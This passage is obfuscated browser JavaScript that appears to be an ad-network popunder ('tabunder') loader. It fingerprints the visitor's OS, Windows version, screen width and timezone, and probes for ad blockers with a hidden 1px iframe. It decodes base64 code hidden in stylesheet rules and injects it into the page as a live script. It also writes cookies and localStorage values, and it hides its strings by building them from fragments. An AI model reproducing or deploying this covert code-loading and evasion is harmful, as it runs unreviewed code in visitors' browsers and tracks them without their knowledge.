"O5h" : function(newValue, oldValue) { return newValue !== oldValue; }, /** * @param {number} T * @param {number} dataAndEvents * @return {?} */ "v5h" : function(T, dataAndEvents) { return T < dataAndEvents; }, /** * @param {number} operator * @param {number} backoff * @return {?} */ "s5h" : function(operator, backoff) { return operator * backoff; }, /** * @param {?} newValue * @param {?} oldValue * @return {?} */ "h5h" : function(newValue, oldValue) { return newValue !== oldValue; }, /** * @param {number} a * @param {number} b * @return {?} */ "t6h" : function(a, b) { return a - b; }, /** * @param {?} i * @param {?} l * @return {?} */ "D5h" : function(i, l) { return i < l; }, /** * @param {string} deepDataAndEvents * @param {string} value * @return {?} */ "I5h" : function(deepDataAndEvents, value) { return deepDataAndEvents == value; }, /** * @param {?} newValue * @param {?} oldValue * @return {?} */ "P2h" : function(newValue, oldValue) { return newValue !== oldValue; }, /** * @param {number} dataAndEvents * @param {number} callback * @return {?} */ "w5h" : function(dataAndEvents, callback) { return dataAndEvents >> callback; }, /** * @param {number} opt_attributes * @param {number} dataAndEvents * @return {?} */ "W5h" : function(opt_attributes, dataAndEvents) { return opt_attributes << dataAndEvents; }, /** * @param {number} deepDataAndEvents * @param {number} execResult * @return {?} */ "k5h" : function(deepDataAndEvents, execResult) { return deepDataAndEvents <= execResult; }, /** * @param {?} a * @param {?} b * @return {?} */ "q5h" : function(a, b) { return a === b; }, /** * @param {?} value * @param {?} target * @return {?} */ "B6h" : function(value, target) { return value === target; }, /** * @param {number} deepDataAndEvents * @param {number} value * @return {?} */ "v6h" : function(deepDataAndEvents, value) { return deepDataAndEvents <= value; }, /** * @param {(boolean|number|string)} res * @param {(boolean|number|string)} dataAndEvents * @return {?} */ "k6h" : function(res, dataAndEvents) { return res > dataAndEvents; }, /** * @param {number} dataAndEvents * @param {number} deepDataAndEvents * @return {?} */ "y6h" : function(dataAndEvents, deepDataAndEvents) { return dataAndEvents | deepDataAndEvents; }, /** * @param {?} res * @param {?} contexts * @return {?} */ "Y5h" : function(res, contexts) { return res === contexts; }, /** * @param {number} deepDataAndEvents * @param {number} callback * @return {?} */ "m6h" : function(deepDataAndEvents, callback) { return deepDataAndEvents <= callback; }, /** * @param {?} newValue * @param {?} oldValue * @return {?} */ "X5h" : function(newValue, oldValue) { return newValue !== oldValue; }, /** * @param {number} dataAndEvents * @param {number} deepDataAndEvents * @return {?} */ "l6h" : function(dataAndEvents, deepDataAndEvents) { return dataAndEvents << deepDataAndEvents; }, /** * @param {number} regex * @param {number} timer * @return {?} */ "Z5h" : function(regex, timer) { return regex !== timer; }, "Z2h" : true, /** * @param {?} callback * @param {?} b * @return {?} */ "d2h" : function(callback, b) { return callback === b; }, /** * @param {number} deepDataAndEvents * @param {number} timer * @return {?} */ "s6h" : function(deepDataAndEvents, timer) { return deepDataAndEvents <= timer; }, /** * @param {number} el * @param {number} value * @return {?} */ "Q5h" : function(el, value) { return el == value; }, /** * @param {?} res * @param {?} contexts * @return {?} */ "w2h" : function(res, contexts) { return res === contexts; }, /** * @param {number} _id * @param {number} n * @return {?} */ "T6h" : function(_id, n) { return _id >> n; }, /** * @param {number} a * @param {number} b * @return {?} */ "d5h" : function(a, b) { return a - b; } }; var f5h = function() { /** * @param {?} val * @param {?} value * @return {?} */ function resolve(val, value) { /** @type {string} */ var i = "urn"; /** @type {string} */ var obj = "ret"; /** @type {string} */ var o = "rn"; /** @type {string} */ var n = "tu"; /** @type {string} */ var name = "r"; /** @type {Array} */ var a = []; var regexp2_fn = I3x.Z2h; var text = I3x.H2h; var callback = undefined; try { var entry = val[I2h.h2h](); var pair; for (;!(regexp2_fn = (pair = entry.next()).E5h);regexp2_fn = I3x.Z2h) { a.push(pair.value); if (value && I3x.B6h(a.length, value)) { break; } } } catch (r20) { /** * @param {(number|string)} regex * @return {undefined} */ var keys = function(regex) { /** @type {(number|string)} */ callback = regex; }; /** * @param {?} textAlt * @return {undefined} */ var loadNodeModules = function(textAlt) { text = textAlt; }; loadNodeModules(I3x.Z2h); keys(r20); } finally { try { if (!regexp2_fn && entry[name + m + n + o]) { entry[obj + i](); } } finally { if (text) { throw callback; } } } return a; } /** @type {string} */ var m = "e"; return function(object, isXML) { /** @type {string} */ var i = "nc"; /** @type {string} */ var g = "le"; /** @type {string} */ var r = "terab"; /** @type {string} */ var p = "-"; /** @type {string} */ var c = "n"; /** @type {string} */ var article = "ructure"; /** @type {string} */ var n = "s"; /** @type {string} */ var b = "o"; /** @type {string} */ var EQUAL = "ttemp"; /** @type {string} */ var type = " "; /** @type {(number|string)} */ var _ = 140 >= (1392, 24) ? (1173, "d") : (226, 291) <= (569, 43) ? "f" : (1161, 249) >= 279 ? (293, "a") : (135, 95); /** @type {(number|string)} */ var w = (134, 1254) >= (85, 500) ? (578, "i") : (1068, 472); /** @type {(number|string)} */ var $3 = (134, 265) < (576, 20) ? 8 : (70, 447) < 752 ? (991, "l") : (36, 493) < 53 ? 258 : (197, 172); /** @type {string} */ var key = "a"; /** @type {string} */ var $1 = "Inv"; if (Array.isArray(object)) { return object; } else { if (I3x.V6h(I2h.h2h, Object(object))) { return resolve(object, isXML); } else { throw new TypeError($1 + key + $3 + w + _ + type + key + EQUAL + I3x.Y2h + type + I3x.Y2h + b + type + _ + m + n + I3x.Y2h + article + type + c + b + c + p + w + r + g + type + w + c + n + I3x.Y2h + key + i + m); } } }; }(); (function(item, dataName, timeoutKey) { /** @type {string} */ var col = "("; /** @type {(number|string)} */ var g = 412 >= (536, 56) ? (123, "A") : (128, 401) < 145 ? (35, "B") : (445, 232) < (429, 195) ? 7 : (150, 58); /** @type {string} */ var j = ";"; /** @type {string} */ var $2 = ":"; /** @type {string} */ var i = "l"; /** @type {string} */ var style = "n"; /** @type {string} */ var failuresLink = "tabunder"; /** @type {string} */ var mouseup = "mouseup"; /** @type {string} */ var expected = "mousedown"; /** @type {string} */ var a = "uxngHWCMgWBNwpQg"; /** @type {string} */ var w2 = "00"; /** @type {string} */ var d2 = "0"; /** @type {string} */ var d1 = "4"; /** @type {(number|string)} */ var A_Z_a_z = (479, 1032) >= (1184, 51) ? (437, "2") : (107, 476); /** @type {string} */ var I2 = "300x250"; /** @type {string} */ var aba = "728x90"; /** @type {string} */ var baz = "120x240"; /** @type {string} */ var value2 = "234x60"; /** @type {string} */ var foo = "468x60"; /** @type {string} */ var radixToPower = "3.5.2"; /** @type {string} */ var customViewMenuOffsetWidth = "x"; /** @type {string} */ var v = "o"; /** @type {(number|string)} */ var content = 386 > (537, 41) ? (190, "d") : (9, 89) > (141, 196) ? (71, 103) : 60 < (713, 40) ? (1498, "L") : (207, 97); /** @type {string} */ var _ = "f"; /** @type {string} */ var key = "i"; /** @type {string} */ var $1 = "t"; /** @type {string} */ var s = "c"; /** @type {string} */ var b = "e"; /** @type {number} */ var backoff = 1E3; /** @type {string} */ var min = "b"; /** @type {string} */ var c = "r"; /** @type {(number|string)} */ var slashSplit = (164, 861) <= (130, 273) ? (2, 15) : (91, 86) < 555 ? (9, ",") : (552, 186); /** @type {string} */ var _j = "content"; /** @type {string} */ var STYLE = "style"; /** @type {(number|string)} */ var value = (418, 14) <= (135, 73) ? (257, "h") : (743, 170); /** @type {string} */ var prefix = "u"; /** @type {string} */ var ms = "p"; /** @type {string} */ var e = "a"; /** @type {(number|string)} */ var name = (213, 159) >= 134 ? (252, "s") : (111, 650) > 685 ? (307, 71) : (151, 62); /** @type {number} */ var udataCur = 60; /** @type {null} */ var obj = null; /** @type {string} */ var p = "P"; /** @type {number} */ var result = 23; /** @type {(number|string)} */ var which = (516, 471) <= (136, 220) ? "t" : (687, 5) <= 17 ? (846, 21) : (79, 362) > (476, 770) ? "px;" : (311, 480); /** @type {number} */ var bytenew = 9; /** @type {number} */ var DOT_CALL_NO_PARENS = 17; /** @type {number} */ var r20 = 16; /** @type {number} */ var scripts = 15; /** @type {number} */ var pdataCur = 14; /** @type {number} */ var te = 13; /** @type {number} */ var passes = 12; /** @type {number} */ var base = 10; /** @type {(number|string)} */ var restoreScript = (4, 65) <= 45 ? "i" : 272 > (479, 52) ? (9, 6) : (13, 373); /** @type {number} */ var pdataOld = 5; /** @type {number} */ var suiteView = 7; /** @type {number} */ var fromIndex = 8; /** @type {number} */ var selector = (141, 1150) > (10, 203) ? (1470, 4) : (384, 651); /** @type {(boolean|number)} */ var match = (1224, 2) > (146, 930) ? (99, false) : (593, 793) < 92 ? (278, false) : 485 >= (111, 107) ? (398, 3) : (503, 149); /** @type {(number|string)} */ var dontCloseTags = 107 >= (1388, 185) ? (142, 130) : 1017 <= (481, 1266) ? (579, "8") : (111, 572); /** @type {string} */ var typePattern = "7"; /** @type {string} */ var expectationResult = "10"; /** @type {string} */ var camelKey = "Windows"; /** @type {number} */ var idx = 1; /** @type {string} */ var k = ""; /** @type {(number|string)} */ var sel = (28, 1207) >= (470, 102) ? (126, 2) : (348, 131) < 51 ? "h" : 1 >= (22, 1262) ? 4 : (122, 134); /** @type {(number|string)} */ var total = (647, 99) >= (306, 423) ? 67 : 232 > (490, 448) ? 59 : 1403 >= (104, 51) ? (35, ".") : (473, 180); /** @type {number} */ var interval = 20; /** @type {string} */ var str = ""; /** @type {number} */ var id = 0; /** @type {string} */ var path = "/"; /** @type {string} */ var __dirname = "//"; try { /** * @param {?} object * @return {undefined} */ var isArguments = function(object) { child.b5h = object; }; /** * @return {undefined} */ var throttledUpdate = function() { /** @type {string} */ text = __dirname + index + path + child.L5h; }; /** * @param {?} other * @return {undefined} */ var toggle = function(other) { e4Z6h[G6h].zfgaabversion = other; }; /** * @param {?} value * @return {undefined} */ var isUndefinedOrNull = function(value) { child.L5h = value.U5h; }; /** * @param {?} node * @return {undefined} */ var traverseNode = function(node) { e4Z6h[G6h][dataName] = node; }; /** * @return {undefined} */ var tryIt = function() { /** @type {string} */ blank = __dirname + index + path + child.L5h + orig; }; /** * @return {?} */ var getIndex = function parse() { /** @type {string} */ var last = "5901cf07608da"; /** @type {string} */ var udataCur = "wmoaz2g6axi0p"; /** * @return {undefined} */ var walk = function() { prop = Object.prototype.hasOwnProperty.call(cache, prop) ? cache[prop] : prop; }; if (I3x.u5h(src.length, id)) { return atob(src[id].split(str).reverse().join(str)); } var node = addChild(); var context = isBinary(node); var functionUid = clearStateChar(); var value = named(); var nodes = jQuery(node, context); var key = serializer(functionUid); var name = getName(value); var props = keys(); var prop = promote(name, key, nodes, id, id); var cache = {}; if (I3x.A5h(rvar, index2)) { cache = {}; } else { if (I3x.Y5h(rvar, progressContexts)) { cache = {}; } } walk(); var array = void id; if (I3x.U2h(rvar, index2)) { /** * @param {Node} value * @return {undefined} */ var setBit = function(value) { /** @type {Node} */ array = value; }; setBit(udataCur); } else { if (I3x.w2h(rvar, progressContexts)) { /** * @param {Node} last * @return {undefined} */ var process = function(last) { /** @type {Node} */ array = last; }; process(last); } } var result = {}; var initial = Object.prototype.hasOwnProperty.call(result, prop) ? result[prop] : array; var restoreScript = prop + initial; return getValue(restoreScript).substr(id, I3x.J5h(interval, inArray(name))) + total + props; }; /** * @param {Function} fn * @return {undefined} */ var valueAccessor = function runTest(fn) { var m1; for (m1 in e4Z6h[O6h]) { if (m1.length == 4 && (m1.charCodeAt((783, 82) >= 465 ? 34 : 44 <= (73, 1001) ? (1190, 3) : (155, 142)) == 121 && (m1.charCodeAt(2) == 100 && m1.charCodeAt(0) == ((47, 934) <= 575 ? (59, 176) : (1330, 85) >= (72, 307) ? 101 : (41, 523) >= 226 ? (452, 98) : (591, 21))))) { break; } } if (!e4Z6h[O6h][m1]) { /** @type {number} */ var timer = setTimeout(function run() { var m1; for (m1 in e4Z6h[O6h]) { if (m1.length == 4 && (m1.charCodeAt(3) == 121 && (m1.charCodeAt(2) == 100 && m1.charCodeAt(0) == 98))) { break; } } if (!e4Z6h[O6h][m1]) { /** @type {number} */ timer = setTimeout(run, interval); return; } fn(); clearTimeout(timer); }, interval) } else { fn(); } }; /** * @param {Function} done * @param {Function} cb * @return {undefined} */ var toVLQSigned = function init(done, cb) { /** @type {number} */ var backoff = 400; /** @type {string} */ var pdataOld = "1px"; /** @type {string} */ var link = "iframe"; /** * @param {(number|string)} value * @return {undefined} */ var resize = function(value) { /** @type {(number|string)} */ node.width = value; }; /** * @param {(number|string)} value * @return {undefined} */ var Class = function(value) { /** @type {(number|string)} */ node.height = value; }; var node = e4Z6h[O6h]["createElement"](link); resize(pdataOld); Class(pdataOld); node.src = fn(); valueAccessor(function() { var m1; for (m1 in e4Z6h[O6h]) { if (m1.length == 4 && (m1.charCodeAt(3) == ((11, 431) <= 434 ? (17, 121) : 145 <= (592, 1) ? "," : (1259, 31)) && (m1.charCodeAt(2) == 100 && m1.charCodeAt(0) == 98))) { break; } } e4Z6h[O6h][m1]["appendChild"](node); }); setTimeout(function() { /** @type {string} */ var deepDataAndEvents = "hidden"; /** @type {string} */ var udataCur = "none"; if (I3x.S5h(node.style.display, udataCur) || (I3x.J6h(node.style.display, deepDataAndEvents) || (I3x.e6h(node.style.visibility, deepDataAndEvents) || I3x.V5h(node.offsetHeight, id)))) { node.parentNode.removeChild(node); done(); } else { node.parentNode.removeChild(node); cb(); } }, backoff); }; /** * @param {Function} fn * @return {?} */ var getActual = function run(fn) { /** @type {number} */ var frequency = 300; var error = I3x.H2h; /** @type {number} */ var id = setInterval(function() { if (!error) { /** * @param {?} err * @return {undefined} */ var handler = function(err) { error = err; }; handler(I3x.Z2h); fn(); clearInterval(id); } }, frequency); return id; }; /** * @param {(number|string)} name * @param {(number|string)} value * @param {(number|string)} selector * @param {number} id * @param {number} source * @return {?} */ var promote = function filter(name, value, selector, id, source) { var event = trim(name, sel) + trim(value, sel) + trim(selector, sel) + trim(id, sel) + trim(source, sel); return event; }; /** * @param {(number|string)} s * @param {string} n * @return {?} */ var trim = function parse(s, n) { /** @type {string} */ var result = s + k; for (;I3x.D5h(result.length, n);) { /** * @return {undefined} */ var promote = function() { /** @type {string} */ var padding = "0"; result = padding + result; }; promote(); } return result; }; /** * @param {string} dataAndEvents * @param {string} deepDataAndEvents * @return {?} */ var jQuery = function clone(dataAndEvents, deepDataAndEvents) { /** @type {number} */ var ret = idx; if (I3x.G5h(dataAndEvents, camelKey)) { if (I3x.K2h(deepDataAndEvents, expectationResult)) { /** * @param {number} id * @return {undefined} */ var getCallback = function(id) { /** @type {number} */ ret = id; }; getCallback(sel); } else { if (I3x.o2h(deepDataAndEvents, typePattern) || I3x.A6h(deepDataAndEvents, dontCloseTags)) { /** * @param {number} arr * @return {undefined} */ var nullIds = function(arr) { /** @type {number} */ ret = arr; }; nullIds(match); } } } return ret; }; /** * @param {string} deepDataAndEvents * @return {?} */ var serializer = function get(deepDataAndEvents) { /** @type {string} */ var pdataOld = "1366"; /** @type {string} */ var udataCur = "1920"; /** @type {number} */ var fn = idx; if (I3x.i5h(deepDataAndEvents, udataCur)) { /** * @param {number} selector * @return {undefined} */ var jQuery = function(selector) { /** @type {number} */ fn = selector; }; jQuery(sel); } else { if (I3x.I5h(deepDataAndEvents, pdataOld)) { /** * @param {number} params * @return {undefined} */ var callback = function(params) { /** @type {number} */ fn = params; }; callback(match); } } return fn; }; /** * @param {number} deepDataAndEvents * @return {?} */ var getName = function clone(deepDataAndEvents) { /** @type {number} */ var udataCur = 19; /** @type {number} */ var fmt = 120 >= (963, 100) ? (1E3, 18) : 533 > (118, 624) ? 228 : (302, 76); /** @type {number} */ var res = selector; if (deepDataAndEvents <= -fromIndex) { /** * @param {number} type * @return {undefined} */ var is = function(type) { /** @type {number} */ res = type; }; is(selector); } else { if (deepDataAndEvents <= -suiteView) { /** * @param {number} value * @return {undefined} */ var assign = function(value) { /** @type {number} */ res = value; }; assign(pdataOld); } else { if (deepDataAndEvents <= -restoreScript) { /** * @param {number} callback * @return {undefined} */ var getCallback = function(callback) { /** @type {number} */ res = callback; }; getCallback(restoreScript); } else { if (deepDataAndEvents <= -pdataOld) { /** * @param {number} obj * @return {undefined} */ var isUndefined = function(obj) { /** @type {number} */ res = obj; }; isUndefined(suiteView); } else { if (deepDataAndEvents <= -selector) { /** * @param {number} obj * @return {undefined} */ var _clone = function(obj) { /** @type {number} */ res = obj; }; _clone(fromIndex); } else { if (deepDataAndEvents <= -idx) { /** * @param {number} obj * @return {undefined} */ var forOwn = function(obj) { /** @type {number} */ res = obj; }; forOwn(base); } else { if (I3x.s6h(deepDataAndEvents, id)) { /** * @param {number} el * @return {undefined} */ var text = function(el) { /** @type {number} */ res = el; }; text(passes); } else { if (I3x.n6h(deepDataAndEvents, idx)) { /** * @param {number} i * @return {undefined} */ var getArr = function(i) { /** @type {number} */ res = i; }; getArr(te); } else { if (I3x.N5h(deepDataAndEvents, sel)) { /** * @param {number} value * @return {undefined} */ var parseEntry = function(value) { /** @type {number} */ res = value; }; parseEntry(pdataCur); } else { if (I3x.k5h(deepDataAndEvents, match)) { /** * @param {number} object * @return {undefined} */ var isArray = function(object) { /** @type {number} */ res = object; }; isArray(scripts); } else { if (I3x.p5h(deepDataAndEvents, selector)) { /** * @param {number} obj * @return {undefined} */ var forIn = function(obj) { /** @type {number} */ res = obj; }; forIn(r20); } else { if (I3x.g6h(deepDataAndEvents, pdataOld)) { /** * @param {number} obj * @return {undefined} */ var HOP = function(obj) { /** @type {number} */ res = obj; }; HOP(DOT_CALL_NO_PARENS); } else { if (I3x.m6h(deepDataAndEvents, restoreScript)) { /** * @param {number} err * @return {undefined} */ var cloned = function(err) { /** @type {number} */ res = err; }; cloned(fmt); } else { if (I3x.D6h(deepDataAndEvents, suiteView)) { /** * @param {number} value * @return {undefined} */ var isUndefinedOrNull = function(value) { /** @type {number} */ res = value; }; isUndefinedOrNull(udataCur); } else { if (I3x.a5h(deepDataAndEvents, fromIndex)) { /** * @param {number} value * @return {undefined} */ var _setOption = function(value) { /** @type {number} */ res = value; }; _setOption(interval); } else { if (I3x.v6h(deepDataAndEvents, bytenew)) { /** * @param {number} object * @return {undefined} */ var keys = function(object) { /** @type {number} */ res = object; }; keys(which); } else { /** * @param {number} object * @return {undefined} */ var hasKey = function(object) { /** @type {number} */ res = object; }; hasKey(result); } } } } } } } } } } } } } } } } return res; }; /** * @return {?} */ var keys = function u() { /** @type {string} */ var e = "com"; return e; }; /** * @return {?} */ var addChild = function parse() { var m; for (m in e4Z6h[G6h]) { if (m.length === (414 <= (239, 114) ? (79, "i") : 635 <= (329, 774) ? (4, 9) : (494, 115)) && (m.charCodeAt((135, 371) <= 160 ? 21 : 311 >= (226, 274) ? (21, 6) : (244, 570) > 1445 ? (659, 21) : (75, 460)) === 116 && (m.charCodeAt(8) === 114 && (m.charCodeAt(4) === 103 && m.charCodeAt((187, 145) > (91, 399) ? (11, 8) : (1063, 42) <= 88 ? (58, 0) : (51, 10)) === 110)))) { break; } } var d; for (d in e4Z6h[G6h][m]) { if (d.length == 9 && (d.charCodeAt(8) == 116 && (d.charCodeAt(7) == 110 && d.charCodeAt(0) == 117))) { break; } } var key; for (key in e4Z6h[G6h]) { if (key.length === 9 && (key.charCodeAt(6) === 116 && (key.charCodeAt(8) === 114 && (key.charCodeAt((50, 889) < (1193, 579) ? "A" : (1234, 853) > (86, 678) ? (89, 4) : (324, 131)) === ((81, 13) < 51 ? (222, 103) : (391, 82)) && key.charCodeAt(0) === 110)))) { break; } } var i; for (i in e4Z6h[G6h][key]) { if (i.length == ((456, 126) >= 129 ? 83 : (208, 103) < 406 ? (1397, 8) : (763, 71)) && (i.charCodeAt(7) == 109 && (i.charCodeAt(6) == 114 && i.charCodeAt(0) == (1095 >= (186, 340) ? (209, 112) : (96, 474))))) { break; } } /** @type {string} */ var restoreScript = "Linux"; /** @type {string} */ var last = "Android"; /** @type {string} */ var udataCur = "iOS"; /** @type {string} */ var suiteView = "MacOS"; /** @type {string} */ var c = "iPod"; /** @type {string} */ var A = "iPad"; /** @type {string} */ var a = "iPhone"; /** @type {string} */ var assets = "WinCE"; /** @type {string} */ var tmp = "Win64"; /** @type {string} */ var foo = "Win32"; /** @type {string} */ var D = "Mac68K"; /** @type {string} */ var w = "PC"; /** @type {string} */ var post = "ac"; /** @type {string} */ var base = "M"; /** @type {string} */ var B = "MacIntel"; /** @type {string} */ var machine = "Macintosh"; var extra = e4Z6h[G6h][m][d]; var letter = e4Z6h[G6h][key][i]; /** @type {Array} */ var alpha = [machine, B, base + post + p + w, D]; /** @type {Array} */ var dirs = [foo, tmp, camelKey, assets]; /** @type {Array} */ var letters = [a, A, c]; /** @type {null} */ var ret = obj; if (alpha.indexOf(letter) !== -idx) { /** * @param {?} obj * @return {undefined} */ var isUndefined = function(obj) { ret = obj; }; isUndefined(suiteView); } else { if (letters.indexOf(letter) !== -idx) { /** * @param {?} value * @return {undefined} */ var setBit = function(value) { ret = value; }; setBit(udataCur); } else { if (dirs.indexOf(letter) !== -idx) { /** * @param {?} key * @return {undefined} */ var promote = function(key) { ret = key; }; promote(camelKey); } else { if (/Android/.test(extra)) { /** * @param {?} last * @return {undefined} */ var process = function(last) { ret = last; }; process(last); } else { if (!ret && /Linux/.test(letter)) { /** * @param {?} callback * @return {undefined} */ var getName = function(callback) { ret = callback; }; getName(restoreScript); } } } } } return ret; }; /** * @param {?} elems * @return {?} */ var isBinary = function m(elems) { var character; for (character in e4Z6h[P6h]) { if (character.length == 9 && (character.charCodeAt(8) == 116 && (character.charCodeAt(7) == 110 && character.charCodeAt(0) == 117))) { break; } } /** @type {string} */ var output = str; var digit = e4Z6h[P6h][character]; if (I3x.S6h(elems, camelKey)) { if (/(Windows 10.0|Windows NT 10.0)/.test(digit)) { /** * @param {string} result * @return {undefined} */ var c = function(result) { /** @type {string} */ output = result; }; c(expectationResult); } if (/(Windows 8.1|Windows NT 6.3)/.test(digit)) { /** * @param {string} collection * @return {undefined} */ var indexOf = function(collection) { /** @type {string} */ output = collection; }; indexOf(dontCloseTags); } if (/(Windows 8|Windows NT 6.2)/.test(digit)) { /** * @param {string} exports * @return {undefined} */ var a = function(exports) { /** @type {string} */ output = exports; }; a(dontCloseTags); } if (/(Windows 7|Windows NT 6.1)/.test(digit)) { /** * @param {string} args * @return {undefined} */ var unsubscribe = function(args) { /** @type {string} */ output = args; }; unsubscribe(typePattern); } } return output; }; /** * @return {?} */ var clearStateChar = function promote() { var i; for (i in e4Z6h[G6h]) { if (i.length === 6 && (i.charCodeAt(3) === 101 && (i.charCodeAt(5) === (127 >= (16, 792) ? (455, 96) : (1306, 77) <= (1412, 160) ? (517, 110) : (341, 154) >= 341 ? 481 : (276, 96)) && (i.charCodeAt(1) === 99 && i.charCodeAt(0) === (2 <= (77, 851) ? (928, 115) : (1296, 1) >= 1100 ? 779 : (19, 327)))))) { break; } } var t = e4Z6h[G6h][i]["width"]; return t; }; /** * @return {?} */ var named = function handle() { /** @type {Date} */ var dateJul = new Date; /** @type {number} */ var val = -dateJul.getTimezoneOffset() / udataCur; return val; }; /** * @return {?} */ var fn = function initialize() { /** @type {string} */ var tokenizeEvaluate = "afu.php"; /** @type {string} */ var len = '"]'; /** @type {string} */ var inner = '*="'; /** @type {string} */ var s = "rc"; /** @type {string} */ var _ = "["; /** @type {string} */ var val = "ipt"; /** @type {string} */ var version = "cr"; var node = e4Z6h[O6h]["querySelector"](name + version + val + _ + name + s + inner + e + ms + prefix + total + ms + value + ms + len); if (I3x.l5h(node, obj)) { return; } return item.F5h ? node.src.replace(/apu.php/g, tokenizeEvaluate) : node.src; }; /** * @param {?} deepDataAndEvents * @return {?} */ var getText = function init(deepDataAndEvents) { /** @type {string} */ var recordName = "href"; try { var m1; for (m1 in e4Z6h[O6h]) { if (m1.length == 11 && (m1.charCodeAt(10) == (335 > (303, 79) ? (95, 115) : (3, 771)) && (m1.charCodeAt(9) == (1397 < (123, 124) ? (140, "t") : 144 > (1462, 136) ? (702, 116) : (26, 60) < (569, 4) ? 316 : (127, 130)) && m1.charCodeAt(0) == 115))) { break; } } var l; var enabled = I3x.H2h; if (e4Z6h[O6h][m1]) { var a; for (a in e4Z6h[O6h]) { if (a.length == 11 && (a.charCodeAt((20, 1282) < (1144, 116) ? 65 : 89 <= (129, 564) ? (68, 10) : (231, 110)) == 115 && (a.charCodeAt((0, 122) < (84, 1379) ? (79, 9) : (385, 55)) == 116 && a.charCodeAt(0) == 115))) { break; } } var i; for (i in e4Z6h[O6h][a]) { var character; for (character in e4Z6h[O6h]) { if (character.length == 11 && (character.charCodeAt(731 >= (465, 538) ? (128, 10) : (263, 80)) == 115 && (character.charCodeAt(9) == 116 && character.charCodeAt(0) == 115))) { break; } } if (I3x.z5h(e4Z6h[O6h][character][i][recordName], deepDataAndEvents)) { /** * @param {Document} data * @return {undefined} */ var poll = function(data) { /** @type {string} */ var type = "les"; /** @type {string} */ var left = "sRu"; /** @type {string} */ var right = "cs"; l = data.styleSheets[i][right + left + type][match][STYLE][_j]; }; poll(document); break; } } } if (!l) { return I3x.H2h; } l = l.substring(idx, I3x.t6h(l.length, idx)); var f = e4Z6h[G6h]["atob"](l); f = f.split(slashSplit); /** @type {number} */ var _id = id; var s = f.length; for (;I3x.b6h(_id, s);_id++) { if (I3x.P5h(f[_id], e4Z6h["location"]["host"])) { /** * @param {?} enable * @return {undefined} */ var debug = function(enable) { enabled = enable; }; debug(I3x.Z2h); break; } } return enabled; } catch (x) { } }; /** * @param {?} assert * @return {?} */ var ok = function callback(assert) { /** @type {string} */ var success = "text/javascript"; /** @type {string} */ var varname = "script"; /** @type {string} */ var camelKey = '"KGZ1bmN0aW9uKCkge30pKCk7"'; /** @type {string} */ var b = "ef"; try { var character; for (character in e4Z6h[O6h]) { if (character.length == 11 && (character.charCodeAt(10) == 115 && (character.charCodeAt(9) == 116 && character.charCodeAt((81, 20) < (414, 46) ? (40, 0) : (9, 390)) == 115))) { break; } } var m1; for (m1 in e4Z6h[O6h]) { if (m1.length == 4 && (m1.charCodeAt(3) == 121 && (m1.charCodeAt((127, 86) >= 518 ? 62 : (870, 394) < 677 ? (144, 2) : (404, 85)) == 100 && m1.charCodeAt(0) == (101 < (50, 140) ? (48, 98) : (89, 84))))) { break; } } /** * @param {string} type * @return {undefined} */ var complete = function(type) { /** @type {string} */ fill.type = type; }; var l; if (e4Z6h[O6h][character]) { var a; for (a in e4Z6h[O6h]) { if (a.length == 11 && (a.charCodeAt(10) == 115 && (a.charCodeAt(9) == 116 && a.charCodeAt(0) == 115))) { break; } } var i; for (i in e4Z6h[O6h][a]) { var ch; for (ch in e4Z6h[O6h]) { if (ch.length == 11 && (ch.charCodeAt(10) == ((159, 101) < 59 ? 7 : (279, 429) >= (588, 6) ? (725, 115) : (1166, 1171) <= 846 ? "B" : (51, 128)) && (ch.charCodeAt(9) == (138 <= (317, 394) ? (511, 116) : (368, 16)) && ch.charCodeAt(0) == 115))) { break; } } if (I3x.E6h(e4Z6h[O6h][ch][i][value + c + b], assert)) { /** * @param {Document} doc * @return {undefined} */ var addNamespacesAndStylesheet = function(doc) { /** @type {string} */ var recordName = "cssRules"; l = doc.styleSheets[i][recordName][sel][STYLE][_j]; }; addNamespacesAndStylesheet(document); break; } } } if (!l) { /** * @param {Object} key * @return {undefined} */ var unlock = function(key) { /** @type {Object} */ l = key; }; unlock(camelKey); } l = l.substring(idx, I3x.d5h(l.length, idx)); var fill = e4Z6h[O6h]["createElement"](varname); complete(success); var img = e4Z6h[O6h]["createTextNode"](e4Z6h[G6h]["atob"](l)); fill.appendChild(img); e4Z6h[O6h][m1]["appendChild"](fill); return function() { fill.parentNode.removeChild(fill); }; } catch (x) { } }; /** * @param {number} s * @param {number} value * @return {?} */ var indexOf = function url(s, value) { return Math.floor(I3x.O2h(Math.random(), value - s) + s); }; /** * @param {(number|string)} text * @return {?} */ var inArray = function init(text) { /** @type {number} */ var hello = id; if (I3x.Q5h(text.toString().length, idx)) { /** @type {number} */ var g = parseInt(text); return g; } else { text.toString().split(k).forEach(function(m1) { /** @type {number} */ var charCodeToReplace = parseInt(m1); return hello += charCodeToReplace; }); return init(hello); } }; /** * @param {string} key * @param {Text} value * @param {Text} data * @return {undefined} */ var X5 = function setCookie(key, value, data) { /** @type {string} */ var token = "; "; /** @type {(number|string)} */ var separator2 = (53, 132) <= 270 ? (41, "=") : (115, 82) >= 552 ? 409 : (21, 1136) < (1277, 71) ? 1128 : (548, 427); /** @type {string} */ var meridiem = "er"; /** @type {string} */ var max = "num"; /** * @param {string} value * @return {undefined} */ var escape = function(value) { var key; for (key in e4Z6h[O6h]) { if (key.length == ((310, 93) <= 26 ? (83, 1) : (20, 948) > 1093 ? (1067, 12) : (86, 326) >= (227, 318) ? (822, 6) : (493, 674)) && (key.charCodeAt((111, 110) >= 503 ? (25, 578) : (688, 105) >= 368 ? 408 : (445, 526) <= 569 ? (358, 5) : (1229, 1385)) == 101 && (key.charCodeAt((179, 42) < 145 ? (320, 4) : (396, 91)) == 105 && key.charCodeAt(0) == (573 < (1355, 120) ? "p" : (205, 580) <= 68 ? 810 : (87, 31) <= 1073 ? (240, 99) : (716, 78))))) { break; } } /** @type {string} */ e4Z6h[O6h][key] = value; }; /** * @return {undefined} */ var setDate = function() { data = data || {}; }; setDate(); var exp = data.c6h; if (typeof exp == max + min + meridiem && exp) { /** @type {Date} */ var d = new Date; d.setTime(d.getTime() + I3x.s5h(exp, backoff)); /** @type {Date} */ exp = data.c6h = d; } if (exp && exp.toUTCString) { data.c6h = exp.toUTCString(); } /** @type {string} */ value = encodeURIComponent(value); /** @type {string} */ var result = key + separator2 + value; var index; for (index in data) { result += token + index; var a = data[index]; if (I3x.M6h(a, I3x.Z2h)) { result += separator2 + a; } } escape(result); }; /** * @param {string} key * @param {string} a * @return {?} */ var getNext = function e(key, a) { /** * @param {string} val * @return {undefined} */ var s = function(val) { /** @type {string} */ localStorage[key] = val; }; s(a); return a; }; /** 